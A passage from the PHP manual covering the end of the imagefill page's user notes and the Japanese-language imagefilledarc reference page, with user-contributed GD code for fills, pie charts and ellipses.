$clr_2_621 = imagecolorallocate($src621, 0, 0, 250);
$clr_4_621 = imagecolorallocate($src621, 2,2,55);
imagerectangle($src621, 100, 100, 150, 150, $clr_4_621);
imagefill($src621, 110, 110, $clr_2_621);
header("Content-Type: image/png");
imagepng ($src621);
imagedestroy($src621);
?>

Example 2
The filled region will be internal to a demarcated region, if the initial coordinates will be inside of this region.
<?php
$src622 = imagecreate(200,200);
$clr_1_622 = imagecolorallocate($src622, 255, 255, 0);
$clr_2_622 = imagecolorallocate($src622, 0, 0, 250);
$clr_4_622 = imagecolorallocate($src622, 2,2,55);
imagerectangle($src622, 100, 100, 150, 150, $clr_4_622);
imagefill($src622, 10, 10, $clr_2_622);
header("Content-Type: image/png");
imagepng ($src622);
imagedestroy($src622);
?>

See another examples at:
http://www.educar.pro.br/a/gdlib/index.php?pn=50&tr=97
Gromitt 06-Mar-2007 10:14
If you need to fill a whole image (immediatly after its creation for instance), consider applying a filled rectangle instead, using imagefilledrectangle() :

<?php

$gdImage = imagecreatetruecolor(100, 100);
$gdColor = imagecolorallocate($gdImage, 255, 0, 0); // red
imagefilledrectangle($gdImage, 0, 0, 99, 99, $gdColor);

?>

which will require much less logic and processing from GD.
razonklnbd at yahoo dot com 24-Sep-2006 03:32
I spend more then two hour to find a function that can fill a pattern or file as background instead of color. but i can't find. so i develop the following function. i though this function will save time who need it...

Function will get four parameter
1. Main Image Identifier
2. Pattern Image Identifier
3. Final Image Width
4. Final Image Height

If you set final image width or height is less then main image width or height then you may get wrong result

<?php

function fill_with_patternfile($p_main_im, $p_patternfile_im, $p_width, $p_height){
    $pimiX=$p_patternfile_im;
    $pw=imagesx($pimiX);
    $ph=imagesy($pimiX);
    $targetImageIdentifier=imagecreatetruecolor($p_width,$p_height);
    if($pw<$p_width && $ph<$p_height){
        for($pX=0;$pX<$p_width;$pX+=$pw){
            for($pY=0;$pY<$p_height;$pY+=$ph){
                imagecopy($targetImageIdentifier,$pimiX,$pX,$pY,0,0,$pw,$ph);
            }
        }
    }else imagecopy($targetImageIdentifier,$pimiX,0,0,0,0,$pw,$ph);
    $w=imagesx($p_main_im);
    $h=imagesy($p_main_im);
    $nX=0;
    if($w<$p_width) $nX=intval(($p_width-$w)/2);
    $nY=0;
    if($h<$p_height) $nY=intval(($p_height-$h)/2);
    imagecopy($targetImageIdentifier,$p_main_im,$nX,$nY,0,0,$w,$h);
    return $targetImageIdentifier;
}
//    If you want to use a gif or png file as
//    pattern file you need to change function below :)
$pattern_im=imagecreatefromjpeg('logo.jpg');
//    If you want to use a gif or png file as
//    main file you need to change function below :)
$main_im=imagecreatefromjpeg('r2.jpg');
//    call the function width 500 and height 500
//    if your width and height is less then main images
//    width and height then you can't understand any change!
$final=fill_with_patternfile($main_im, $pattern_im, 500, 500);
//    view the image and destroy all instance
header('Content-type: image/jpeg');
imagejpeg($final);
imagedestroy($final);
imagedestroy($main_im);
imagedestroy($pattern_im);
exit();

?>
jonathan dot aquino at gmail dot com 08-Jun-2006 03:12
Use imageSaveAlpha($image, true); to preserve transparency.
gelak 29-Nov-2005 11:27
//A smiley face ;]

<?php

header('Content-type: image/png');

$smile=imagecreate(400,400);
$kek=imagecolorallocate($smile,0,0,255);
$feher=imagecolorallocate($smile,255,255,255);
$sarga=imagecolorallocate($smile,255,255,0);
$fekete=imagecolorallocate($smile,0,0,0);
imagefill($smile,0,0,$kek);

imagearc($smile,200,200,300,300,0,360,$fekete);
imagearc($smile,200,225,200,150,0,180,$fekete);
imagearc($smile,200,225,200,123,0,180,$fekete);
imagearc($smile,150,150,20,20,0,360,$fekete);
imagearc($smile,250,150,20,20,0,360,$fekete);
imagefill($smile,200,200,$sarga);
imagefill($smile,200,290,$fekete);
imagefill($smile,155,155,$fekete);
imagefill($smile,255,155,$fekete);
imagepng($smile);

?>
pisu at estmail dot hu 29-Nov-2005 01:48
chess board
<?php

$kep = imagecreate(400,400);
$fekete = imagecolorallocate($kep,0,0,0);
$feher = imagecolorallocate($kep,255,255,255);

//imagefill($kep,50,50,$fekete);
imagefill($kep,50,20,$feher);

for ($i=1;$i<8;$i++)  {
  $k = $i*50;
  imageline($kep,0,$k,400,$k,$fekete);
  imageline($kep,$k,0,$k,400,$fekete);
  }

for ($i=0;$i<8;$i++)  {
  for ($j=0;$j<8;$j++)  {
    $x = $i*50 + 2;
        $y = $j*50 + 2;
    if (  ( ($i % 2) + ($j % 2) )  % 2 == 0 )  {
          imagefill($kep,$x,$y,$fekete);
          }

    }
  }

// imagecolortransparent($kek,$piros);

header('content-type : image/png');
imagepng($kep);

?>
colin at galaxyinteractive dot net 28-Jul-2005 08:26
Didn't see this documented, although it's outlined in imagefilledrectangle, it wasn't quite so obvious to me at first

imageSetTile($image,$imageBack);
imagefill($image,0,0,IMG_COLOR_TILED);

Will fill an image with a texture (this is great as I'm building a logo/template creator)
Igor Garcia 28-Jun-2003 03:18
This function, cannot deal with transparencies.
So you need to use imagecolorallocate instead of imagecolorallocatealpha.
Thus, be careful with color variables that allready set with imageallocatecoloralpha because this can slow-down or hang-up your system.
norxh 04-Jun-2003 08:36
For new images, you must allocate a color before this function will work.
08-Feb-2003 05:49
Actually, it can handle pre-transparent images. To remove it you need to do something like:
   imagecolortransparent($img, 0);
to null out the previous transparency colors. ;)
aqmprod at iname dot com 09-Jan-2000 05:08
This function does not seem to work with images already been transparent. If you fill at x=0, y=0, and there are still transparent parts that you did
not reach with your fill, they change to a different color.

The ImageColorSet function seems to be the solution, but i can't work with transparancy.


楕円弧を描画し、塗りつぶす

  • ≪ imagefill
  • imagefilledellipse ≫
  • PHP Manual
  • GD および Image 関数
  • 楕円弧を描画し、塗りつぶす

imagefilledarc

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagefilledarc — 楕円弧を描画し、塗りつぶす

説明

imagefilledarc ( resource $image , int $cx , int $cy , int $width , int $height , int $start , int $end , int $color , int $style ) : bool

指定した image の指定した座標を中心とする、 楕円弧を描画します。

パラメータ

image

imagecreatetruecolor() のような画像作成関数が返す画像リソース。

cx

中心の x 座標。

cy

中心の y 座標。

width

弧の幅。

height

弧の高さ。

start

弧の開始角度。

end

弧の終了角度。 0° は三時の方向で、そこから時計回りに数えます。

color

imagecolorallocate() で作成された色識別子。

style

次の選択肢のビット和。

  1. IMG_ARC_PIE
  2. IMG_ARC_CHORD
  3. IMG_ARC_NOFILL
  4. IMG_ARC_EDGED
IMG_ARC_PIE および IMG_ARC_CHORD は相反します。 IMG_ARC_CHORD は、 開始角と終了角を直線で結ぶだけですが、IMG_ARC_PIE は、角を丸めます。IMG_ARC_NOFILL は、弧と弦が縁どられ塗りつぶされないことを指定します。 IMG_ARC_EDGED は、 IMG_ARC_NOFILL と共に指定することにより、 開始角と終端角は中心と結ばれます。これは、(塗りつぶすよりも) 「パイの切れ端」を縁どる良い方法です。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 3D 風のパイを作成する

<?php

// 画像を作成します
$image = imagecreatetruecolor(100, 100);

// 色を割り当てます
$white    = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray     = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$darkgray = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy     = imagecolorallocate($image, 0x00, 0x00, 0x80);
$darknavy = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red      = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$darkred  = imagecolorallocate($image, 0x90, 0x00, 0x00);

// 3D 効果を作成します
for ($i = 60; $i > 50; $i--) {
   imagefilledarc($image, 50, $i, 100, 50, 0, 45, $darknavy, IMG_ARC_PIE);
   imagefilledarc($image, 50, $i, 100, 50, 45, 75 , $darkgray, IMG_ARC_PIE);
   imagefilledarc($image, 50, $i, 100, 50, 75, 360 , $darkred, IMG_ARC_PIE);
}

imagefilledarc($image, 50, 50, 100, 50, 0, 45, $navy, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 45, 75 , $gray, IMG_ARC_PIE);
imagefilledarc($image, 50, 50, 100, 50, 75, 360 , $red, IMG_ARC_PIE);

// 画像を出力します
header('Content-type: image/png');
imagepng($image);
imagedestroy($image);
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : 3D 風のパイを作成する

User Contributed Notes

vrp76 at mail dot ru 29-Nov-2016 08:05
The analogue of the function

<?php

function myimagefilledarc($image, $cx, $cy, $width, $height, $start, $end, $color, $style = IMG_ARC_PIE){

    $delta = 0.1;
    $twoPi = 2*pi();

    $w = $width/2;
    $h = $height/2;

    if($h<=$w){
        $kx=$w;
        $ky=$w*$h/$w;
    }else{
        $kx=$h*$w/$h;
        $ky=$h;
    }

    $StartRad = deg2rad($start);
    $EndRad   = deg2rad($end);

    $array_points[] = $cx;
    $array_points[] = $cy;

    $a = $StartRad;

    if($style==IMG_ARC_PIE
     or $style==IMG_ARC_EDGED
     or $style==(IMG_ARC_PIE|IMG_ARC_NOFILL)
     or $style==(IMG_ARC_EDGED|IMG_ARC_NOFILL)){

        if($StartRad>=$EndRad){

            $b[] = $twoPi;
            $b[] = $EndRad;

        }else $b[] = $EndRad;

    }else $b[] = 0;

    foreach($b as $vb){
        do {
            $array_points[] = $cx + $kx*cos($a);
            $array_points[] = $cy + $ky*sin($a);
            $a += $delta;
        } while ($a<$vb);
        $a = 0;
    }

    $array_points[] = $cx + $kx*cos($EndRad);
    $array_points[] = $cy + $ky*sin($EndRad);

    $count_array_points    = count($array_points);
    $num_points = $count_array_points/2;

    if($style==IMG_ARC_PIE or $style==IMG_ARC_EDGED or $style==IMG_ARC_CHORD){
        imagefilledpolygon($image, $array_points, $num_points, $color);
    }elseif($style==(IMG_ARC_PIE|IMG_ARC_NOFILL)){

        $i = 1;
        $c = $count_array_points - 1;

        $x1 = $array_points[++$i];
        $y1 = $array_points[++$i];

        do {
            $x2 = $array_points[++$i];
            $y2 = $array_points[++$i];
            imageline($image, $x1, $y1, $x2, $y2, $color);
            $x1 = $x2;
            $y1 = $y2;
        } while ($i<$c);

    }elseif($style==(IMG_ARC_CHORD|IMG_ARC_NOFILL) or $style==(IMG_ARC_PIE|IMG_ARC_NOFILL)){
        imageline($image, $array_points[2], $array_points[3], $array_points[4], $array_points[5], $color);
    }else{
        imagepolygon($image, $array_points, $num_points, $color);
    }

}

$image = imagecreatetruecolor(900, 1250);

$white        = imagecolorallocate($image, 0xFF, 0xFF, 0xFF);
$gray[]     = imagecolorallocate($image, 0xC0, 0xC0, 0xC0);
$gray[]     = imagecolorallocate($image, 0x90, 0x90, 0x90);
$navy[]     = imagecolorallocate($image, 0x00, 0x00, 0x80);
$navy[]     = imagecolorallocate($image, 0x00, 0x00, 0x50);
$red[]      = imagecolorallocate($image, 0xFF, 0x00, 0x00);
$red[]      = imagecolorallocate($image, 0x90, 0x00, 0x00);
$yellow[]    = imagecolorallocate($image, 0xFF, 0xFF, 0x00);
$yellow[]    = imagecolorallocate($image, 0x90, 0x90, 0x00);

$Cx = 200;
$Cy = 100;

$W = 300;
$H = 100;

$Dx = 500;
$Dy = 0;
$Dy_3d = 40;

$Angles['yellow']    = array(180,0);
$Angles['gray']        = array(0,88);
$Angles['navy']        = array(88,92);
$Angles['red']        = array(92,180);

$styles['IMG_ARC_PIE'] = IMG_ARC_PIE;

$styles['IMG_ARC_CHORD'] = IMG_ARC_CHORD;

$styles['IMG_ARC_PIE|IMG_ARC_NOFILL'] = IMG_ARC_PIE|IMG_ARC_NOFILL;

$styles['IMG_ARC_CHORD|IMG_ARC_NOFILL'] = IMG_ARC_CHORD|IMG_ARC_NOFILL;

$styles['IMG_ARC_PIE|IMG_ARC_EDGED|IMG_ARC_NOFILL'] = IMG_ARC_PIE|IMG_ARC_EDGED|IMG_ARC_NOFILL;

$styles['IMG_ARC_CHORD|IMG_ARC_EDGED|IMG_ARC_NOFILL'] = IMG_ARC_CHORD|IMG_ARC_EDGED|IMG_ARC_NOFILL;

imagestring($image, 5, 130, 15, 'imagefilledarc', $white);

imagestring($image, 5, 130 + $Dx, 15, 'myimagefilledarc', $white);

foreach($styles as $name_style => $style){

    for ($i = $Cy+$Dy_3d; $i > $Cy; $i--) {
        foreach($Angles as $colors=>$angle){
            imagefilledarc($image, $Cx, $i+$Dy, $W, $H, $angle[0], $angle[1],$$colors[1], $style);
        }
    }

    foreach($Angles as $colors=>$angle){
        imagefilledarc($image, $Cx, $Cy+$Dy, $W, $H, $angle[0], $angle[1],$$colors[0], $style);
    }

    for ($i = $Cy+$Dy_3d; $i > $Cy; $i--) {
        foreach($Angles as $colors=>$angle){
            myimagefilledarc($image, $Cx+$Dx, $i+$Dy, $W, $H, $angle[0], $angle[1],$$colors[1], $style);
        }
    }

    foreach($Angles as $colors=>$angle){
        myimagefilledarc($image, $Cx+$Dx, $Cy+$Dy, $W, $H, $angle[0], $angle[1],$$colors[0], $style);
    }

    imagestring($image, 5, 450-strlen($name_style)*8/2, $Cy+$Dy+$H-10, $name_style, $yellow[0]);

    $Dy+=200;
}

header('Content-type: image/png');
imagepng($image);
imagedestroy($image);

?>
xcoda3 at web dot de 23-Jul-2015 04:24
For everyone who will use imageellipse() with a border (imagesetthickness() not working correctly).
This function simualtes the standard gd border.

<?php

function imageEllipseWithBorder($image, $centerX, $centerY, $width, $height, $color, $borderWidth)
    {
        // Calculate inner and outer strength of border
        $borderOuterStrength = (($borderWidth - 1) / 2);
        $borderInnerStrength = ((($borderWidth - 1) / 2) + 1);

        // Caculate x-/y-offset from 0/0 position to ellipse center
        $ellipseXOffset = $centerX - ($width / 2) - $borderOuterStrength;
        $ellipseYOffset = $centerY - ($height / 2) - $borderOuterStrength;

        // Create temp image for editing
        $tempImageWidth  = $width + ($borderOuterStrength * 2) + 1;
        $tempImageHeight = $height + ($borderInnerStrength * 2) + 1;
        $tempImage = imagecreatetruecolor($tempImageWidth, $tempImageHeight);
        imagealphablending($tempImage, false);

        // Fill temp image with "transparent" color
        $transparent = imagecolorallocatealpha($tempImage, 255, 255, 255, 127);
        imagefill($tempImage, 0, 0, $transparent);

        // Draw outer ellipse (representing the border)
        imagefilledellipse(
            $tempImage,
            $centerX - $ellipseXOffset,
            $centerY - $ellipseYOffset,
            $width  + $borderOuterStrength * 2,
            $height + $borderOuterStrength * 2,
            $color
        );

        // Draw inner ellipse (transparent area)
        imagefilledellipse(
            $tempImage,
            $centerX - $ellipseXOffset,
            $centerY - $ellipseYOffset,
            $width - $borderInnerStrength * 2,
            $height - $borderInnerStrength * 2,
            $transparent
        );

        // "Paste" ellipse (with transparent inner area) into image at original position
        imagealphablending($image, true);
        imagecopy(
            $image,
            $tempImage,
            $ellipseXOffset + ($borderWidth + 1) % 2,
            $ellipseYOffset + ($borderWidth + 1) % 2,
            0,
            0,
            $tempImageWidth,
            $tempImageHeight
        );
    }

?>
floripondia dot 88 at hotmail dot com 22-Nov-2013 04:28
If you want to make a pie graph with exploded slices and data shows on each one and data side right too you can use this snippet.
<?php
$values = array("2010" => 1950, "2011" => 750, "2012" => 2100, "2013" => 580, "2014" => 5000);
$total = count($values);
$data = ($total == 0) ? array(360) : array_values($values);
$keys = ($total == 0) ? array("") : array_keys($values);
$radius = 30;
$imgx = 1800 + $radius;
$imgy = 600 + $radius;
$cx = 400 + $radius;
$cy = 200 + $radius;
$sx = 800;
$sy = 400;
$sz = 150;
$data_sum = array_sum($data);
$angle_sum = array(-1 => 0, 360);
$typo = "./helvetica.ttf";
$im = imagecreate($imgx, $imgy);
imagecolorallocate($im, 255, 255, 255);
$color = array(
    array(220, 20, 60),
    array(77, 33, 114),
    array(249, 141, 53),
    array(158, 37, 59),
    array(1, 128, 128),
    array(28, 94, 160),
    //array(206, 16, 118),
    array(43, 67, 86),
    //array(155, 108, 166),
    array(83, 69, 62)
);
shuffle($color);
shuffle($color);
shuffle($color);
$colors = array(imagecolorallocate($im, $color[0][0], $color[0][1], $color[0][2]));
$colord = array(imagecolorallocate($im, ($color[0][0] / 1.5), ($color[0][1] / 1.5), ($color[0][2] / 1.5)));
$factorx = array();
$factory = array();
for($i = 0; $i < $total; $i++){
    $angle[$i] = (($data[$i] / $data_sum) * 360);
    $angle_sum[$i] = array_sum($angle);
    $colors[$i] = imagecolorallocate($im, $color[$i][0], $color[$i][1], $color[$i][2]);
    $colord[$i] = imagecolorallocate($im, ($color[$i][0] / 1.5), ($color[$i][1] / 1.5), ($color[$i][2] / 1.5));
    $factorx[$i] = cos(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
    $factory[$i] = sin(deg2rad(($angle_sum[$i - 1] + $angle_sum[$i]) / 2));
}
for($z = 1; $z <= $sz; $z++){
    for($i = 0; $i < $total; $i++){
        imagefilledarc($im, $cx + ($factorx[$i] * $radius), (($cy + $sz) - $z) + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colord[$i], IMG_ARC_PIE);
    }
}
for($i = 0; $i < $total; $i++){
    imagefilledarc($im, $cx + ($factorx[$i] * $radius), $cy + ($factory[$i] * $radius), $sx, $sy, $angle_sum[$i - 1], $angle_sum[$i], $colors[$i], IMG_ARC_PIE);
    imagefilledrectangle($im, 900, 50 + ($i * 50 * 2), 950, 100 + ($i * 50 * 2), $colors[$i]);
    imagettftext($im, 50, 0, 970, 100 + ($i * 50 * 2), imagecolorallocate($im, 0, 0, 0), $typo, $keys[$i]);
    imagettftext($im, 40, 0, $cx + ($factorx[$i] * ($sx / 4)) - 40, $cy + ($factory[$i] * ($sy / 4)) + 10, imagecolorallocate($im, 0, 0, 0), $typo, $data[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
splogamurugan at gmail dot com 09-Feb-2011 02:53
A simple pie chart generation script.
Displays the percentage at center arc and displays the Legends with random colors.

<?php
class simplepie
{
    function __construct($width, $height, $dataArr)
    {
        $font = './verdana.ttf'; /** get it from c:/windows/fonts dir */
        $this->image = imagecreate($width,$height);
        $piewidth = $width * 0.70;/* pie area */
        $x = round($piewidth/2);
        $y = round($height/2);
        $total = array_sum($dataArr);
        $angle_start = 0;
        $ylegend = 2;
        imagefilledrectangle($this->image, 0, 0, $width, $piewidth, imagecolorallocate($this->image, 128, 128, 128));
        foreach($dataArr as $label=>$value) {
            $angle_done    = ($value/$total) * 360; /** angle calculated for 360 degrees */
            $perc          = round(($value/$total) * 100, 1); /** percentage calculated */
            $color         = imagecolorallocate($this->image, rand(0, 255), rand(0, 255), rand(0, 255));
            imagefilledarc($this->image, $x, $y, $piewidth, $height, $angle_start, $angle_done+= $angle_start, $color, IMG_ARC_PIE);
            $xtext = $x + (cos(deg2rad(($angle_start+$angle_done)/2))*($piewidth/4));
            $ytext = $y + (sin(deg2rad(($angle_start+$angle_done)/2))*($height/4));
            imagettftext($this->image, 6, 0, $xtext, $ytext, imagecolorallocate($this->image, 0, 0, 0), $font, "$perc %");
            imagefilledrectangle($this->image, $piewidth+2, $ylegend, $piewidth+20, $ylegend+=20, $color);
            imagettftext($this->image, 8, 0, $piewidth+22, $ylegend, imagecolorallocate($this->image, 0, 0, 0), $font, $label);
            $ylegend += 4;
            $angle_start = $angle_done;
        }
    }
    function render()
    {
        header('Content-type: image/png');
        imagepng($this->image);
    }
}
/** usage */
$dataArr = array(2001=>10, 2002=>30, 2003=>50, 2004=>10);
$width=600;
$height=480;
$pie = new simplepie($width, $height, $dataArr);
$pie->render();
?>
Christopher Kramer 17-Sep-2009 04:25
If this function is not available because you're using an old gdlib version, here is a workaround if you want to draw a pie chart:

<?php

// width and height of the image
$width=200;
$height=200;

$simulate_old_gd=true; // do not use imagefilledarc although available?

// the pieces of the pie (in degree)
$pieces=array(180,90,45,25,15,5);

$diagram=imagecreate($width,$height);

// background color
$white=imagecolorallocate($diagram, 255, 255, 255);
imagefilledrectangle($diagram,0,0,$width,$height,$white);

// the circle is 2px smaller than the image
$width-=2;
$height-=2;

// we need a border color
$black=imagecolorallocate($diagram, 0, 0, 0);

// draw the border of the pie
imagearc($diagram, round($width/2), round($height/2),
         $width, $height, 0, 360, $black);

// position (in degrees) where to place the next piece
$position=270;
// we will use calculated gray colors for simple example
$gray=0;

foreach($pieces as $deg)
 {
 // calculate the gray color
 $gray+=30;
 if($gray>255) $gray=0;
 $color=imagecolorallocate($diagram,$gray,$gray,$gray);

 // position must be kept < 360
 if($position>360) $position-=360;

 if(!$simulate_old_gd && is_callable('imagefilledarc'))
  {
  imagefilledarc($diagram, round($width/2),
  round($height/2), $width, $height, $position,
  $position+$deg, $color,IMG_ARC_EDGED);
  }
 else
  {
  // we use some maths to calculate the pixel on the circle
  $pix_x=round(floor(($width-2)/2)*cos($position/180*M_PI)
         +round($width/2));
  $pix_y=round(floor(($height-2)/2)*sin($position/180*M_PI)
         +round($height/2));
  // now we  draw a line from the mid of the circle to the
  // calculated pixel on the circle
  imageline($diagram, round($width/2), round($height/2),
            $pix_x, $pix_y, $black);
  // now we need a pixel for flood filling.
  //- We could use maths to calculate a pixel inside the
  // piece:
  //$fill_x=round(floor(($width-10)/2)*
  //        cos(($position+2)/180*M_PI)+round($width/2));
  //$fill_y=round(floor(($height-10)/2)*
  //        sin(($position+2)/180*M_PI)+round($height/2));
  //- or we could use an universal pixel with less maths ;)
  // (top mid):
  $fill_x=floor($width/2)-2;
  $fill_y=3;
  // now we flood fill the circle
  @imagefilltoborder ($diagram,$fill_x,$fill_y,$black,$color);
  /* (it does not matter here that we fill more than we need
      because the next pieces will fix this)
     IF YOU ONLY WANT ONE PIECE
     (simulate imagefilledarc) you'd have to draw
     both border lines and flood fill afterwards */
  }
 // the position of the next piece is $deg degrees further
 $position+=$deg;
 }

// output the image
header('Content-type: image/png');
imagepng($diagram);
imagedestroy($digram);
?>
mateusz dot charytoniuk at gmail dot com 26-Feb-2009 09:31
The code below uses colors from "hans at lintoo dot dk"'s note. It delivers pie charts with labels:

<?php
$bright_list = array(
    array(255, 203, 3),
    array(220, 101, 29),
    array(189, 24, 51),
    array(214, 0, 127),
    array(98, 1, 96),
    array(0, 62, 136),
    array(0, 102, 179),
    array(0, 145, 195),
    array(0, 115, 106),
    array(178, 210, 52),
    array(137, 91, 74),
    array(82, 56, 47)
);
$dark_list = array(
    array(205, 153, 0),
    array(170, 51, 0),
    array(139, 0, 1),
    array(164, 0, 77),
    array(48, 0, 46),
    array(0, 12, 86),
    array(0, 52, 129),
    array(0, 95, 145),
    array(0, 65, 56),
    array(128, 160, 2),
    array(87, 41, 24),
    array(32, 6, 0)
);

$data = array();
$angle = array();
$title = array();
$i = 0;
foreach( $_GET as $key => $value ) {
    $data[$i] = intval($value);
    $title[$i++] = str_replace("_"," ",strval($key));
}
$sum = array_sum($data);
if( $sum == 0 ) {
    ++ $sum;
}
$count = count($data);
for( $i = 0; $i < $count; ++ $i ) {
    $angle[$i] = floor($data[$i]/$sum*360);
    if( $angle[$i] == 0 ) {
        ++ $angle[$i];
    }
}
$sum_angle = array_sum($angle);
if( $sum_angle < 360 ) {
    $angle[0]+=360-$sum_angle;
}

$height = $count*34;
if( $height < 180 ) {
    $height = 180;
}

$im  = imagecreate (350, $height);
$background = imagecolorallocate($im, 226, 226, 226);
$border = imagecolorallocate($im,97,97,97);
$font_color = imagecolorallocate($im,0,0,0);
$font = 'yourfont.ttf';

$bright = array();
foreach( $bright_list as $c ) {
    $bright[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}

$dark = array();
foreach( $dark_list as $c ) {
    $dark[] = imagecolorallocate($im,$c[0],$c[1],$c[2]);
}
$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    for( $j = 100; $j > 90; -- $j ) {
        imagefilledarc($im, 100, $j, 180, 120, $tmp, $tmp+$angle[$i], $dark[$i], IMG_ARC_PIE);
    }
    $tmp += $angle[$i];
}

$tmp = 0;
for( $i =0; $i < $count; ++ $i ) {
    imagefilledarc($im, 100, 90, 180, 120, $tmp, $tmp+$angle[$i], $bright[$i], IMG_ARC_PIE);
    $tmp += $angle[$i];
}
for( $i = 0; $i < $count; ++ $i ) {
    imagefilledrectangle($im, 209, 19+($i*30), 231, 41+($i*30), $border);
    imagefilledrectangle($im, 210, 20+($i*30), 230, 40+($i*30), $bright[$i]);
    imagefttext($im, 11, 0, 240, 34+($i*30), $font_color, $font, $title[$i]);
}
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

try 'pie.php?foo=3&bar=4&baz=6'
Mike 14-Aug-2007 12:43
The previous example does not work well.  This is much better and faster:

<?php
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='600';$imgy='400';//Set Image Size. ImageX,ImageY
$cx = '300';$cy ='150'; //Set Pie Postition. CenterX,CenterY
$sx = '600';$sy='300';$sz ='100';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/1.5),($g/1.5),($b/1.5));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
        // first slice
    imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,0
    ,$angle_sum[0],$colord[0],IMG_ARC_EDGED);
   for($i=1;$i<=$Randomized;$i++){
        imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
        ,$angle_sum[$i],$colord[$i],IMG_ARC_NOFILL);
   };
};
//Top pie.
   // first slice
   imagefilledarc($im,$cx,$cy,$sx,$sy,0 ,$angle_sum[0], $colors[0], IMG_ARC_PIE);
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
imazir at gmail dot com 31-Jan-2006 02:53
The previous example does not work. Try those modifications and you will have the expected results :

<?
$Randomized = rand(1,20);
for($i=0;$i<=$Randomized;$i++){$data[$i]=rand(2,20);};//full array with garbage.
$imgx='200';$imgy='200';//Set Image Size. ImageX,ImageY
$cx = '100';$cy ='50'; //Set Pie Postition. CenterX,CenterY
$sx = '200';$sy='100';$sz ='20';// Set Size-dimensions. SizeX,SizeY,SizeZ

$data_sum = array_sum($data);
//convert to angles.
for($i=0;$i<=$Randomized;$i++){
   $angle[$i] = (($data[$i] / $data_sum) * 360);
   $angle_sum[$i] = array_sum($angle);
};
$im  = imagecreate ($imgx,$imgy);
$background = imagecolorallocate($im, 255, 255, 255);
//Random colors.
for($i=0;$i<=$Randomized;$i++){
   $r=rand(100,255);$g=rand(100,255);$b=rand(100,255);
   $colors[$i] = imagecolorallocate($im,$r,$g,$b);
   $colord[$i] = imagecolorallocate($im,($r/2),($g/2),($b/2));
}
//3D effect.
for($z=1;$z<=$sz;$z++){
   for($i=1;$i<=$Randomized;$i++){
imagefilledarc($im,$cx,($cy+$sz)-$z,$sx,$sy,$angle_sum[$i-1]
,$angle_sum[$i],$colord[$i],IMG_ARC_PIE);
   };
};
//Top pie.
for($i=1;$i<=$Randomized;$i++){
   imagefilledarc($im,$cx,$cy,$sx,$sy,$angle_sum[$i-1] ,$angle_sum[$i], $colors[$i], IMG_ARC_PIE);
};
//Output.
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
paulcharltonthomson at hotmail dot com 01-Jul-2005 11:00
Here's a slightly better way to get the colours for the pie chart shaded wall as posted by double-zonk at wp dot pl

<?php

$rgb0 = array (255, 153, 204);
$rgb1 = array (255, 153, 0);
$rgb2 = array (153, 204, 0);
$rgb3 = array (51, 153, 102);
$rgb4 = array (51, 204, 204);
$rgb5 = array (51, 102, 255);
$rgb6 = array (128, 0, 128);
$rgb7 = array (150, 150, 150);

for ($r = 0; $r < 8; ++$r)
    {
        if(${"rgb" . $r}[0] < 50) $shadowr = 0; else $shadowr = ${"rgb" . $r}[0] - 50;
        if(${"rgb" . $r}[1] < 50) $shadowg = 0; else $shadowg = ${"rgb" . $r}[1] - 50;
        if(${"rgb" . $r}[2] < 50) $shadowb = 0; else $shadowb = ${"rgb" . $r}[2] - 50;
        ${"wall" . $r} = array ($shadowr, $shadowg, $shadowb);
    }

for ($s = 0; $s < 8; ++$s)
    {
        $kolor[$s] = imagecolorallocate($image, ${"rgb" . $s}[0], ${"rgb" . $s}[1], ${"rgb" . $s}[2]);
        $cien[$s] = imagecolorallocate($image, ${"wall" . $s}[0], ${"wall" . $s}[1], ${"wall" . $s}[2]);
    }

?>
t_therkelsen at hotmail dot com 08-Mar-2005 01:21
Note that imageFilledArc() and imageArc() both take ints as degree measurements.  This is no problem if you're *only* using imageArc() and/or imageFilledArc().  However, if you're using calculated degrees and plan to superimpose other drawing elements (eg., you want to make vertical lines between the shadow 3D effect) you need to floor() your degrees before converting them to radians, otherwise you'll get precision errors.

A small example illustrating the 'feature'...

<?php
$img = imageCreate(400, 400);
$back = imageColorAllocate($img, 0, 0, 0);
$front = imageColorAllocate($img, 255, 255, 255);

$sd = 45.5;
$ed = 130.5;

imageFilledArc($img, 200, 200, 300, 300, $sd, $ed,
               $front, IMG_ARC_PIE|IMG_ARC_NOFILL|IMG_ARC_EDGED);
imageArc($img, 200, 230, 300, 300, $sd, $ed, $front);

imageLine($img,
          cos(deg2rad($sd))*150+200, sin(deg2rad($sd))*150+200,
